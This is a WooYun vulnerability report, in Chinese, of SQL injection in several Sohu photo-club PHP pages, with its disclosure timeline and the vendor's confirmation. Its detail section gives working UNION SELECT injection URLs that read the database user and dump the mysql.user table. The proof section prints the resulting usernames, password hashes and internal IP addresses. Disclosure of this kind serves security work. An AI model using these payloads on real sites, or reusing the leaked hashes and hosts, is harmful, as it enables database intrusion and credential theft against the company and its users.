漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-05203
漏洞标题：搜狐网某频道root注入
相关厂商：搜狐
漏洞作者： Jannock
提交时间：2012-03-12 13:38
修复时间：2012-04-26 13:38
公开时间：2012-04-26 13:38
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-03-12： 细节已通知厂商并且等待厂商处理中
2012-03-12： 厂商已经确认，细节仅向厂商公开
2012-03-22： 细节向核心白帽子及相关领域专家公开
2012-04-01： 细节向普通白帽子公开
2012-04-11： 细节向实习白帽子公开
2012-04-26： 细节向公众公开
简要描述：
搜狐网某频道root注入
详细说明：
http://photo.club.sohu.com/learning/read_art_sub.315.php?artid=38587%20and%201=2%20union%20select%201,2,3,4,user%28%29,6,7,8,9,0,1,2,3%23
http://photo.club.sohu.com/auto/read_art_sub.315.php?artid=37733%20and%201=2%20union%20select%201,2,3,4,concat%28user,0x7c,password,0x7c,host%29,6,7,8,9,0,1,2,3%20from%20mysql.user%23
http://photo.club.sohu.com/dragon/viewindex/radio/radio_cache.php?kindid=663 and 1=2 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9%23
http://photo.club.sohu.com/dragon/admin/commend_list.php?start=50,1%23&classid=15
漏洞证明：
wap|6b296ebe3ddf9d49|%
club|1cc79467285721a9|192.168.131.176
club|1cc79467285721a9|192.168.1.148
mysql|1d217e7f72041b1c|localhost
club|1cc79467285721a9|192.168.1.209
club|1cc79467285721a9|%
mysqlmon|*565E94D80534ABC0DC259543636DE148B6C0A37F|10.11.156.28
pingmysql|*565E94D80534ABC0DC259543636DE148B6C0A37F|10.11.36.20
pingmysql|*565E94D80534ABC0DC259543636DE148B6C0A37F|192.168.1.178
saa|*D56465412A06D534E3206A9ECEB513D8D07BB318|%
修复方案：
您懂得
版权声明：转载请注明来源 Jannock@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：20
确认时间：2012-03-12 13:50
厂商回复：
非常感谢，一堆老站。。。
最新状态：
暂无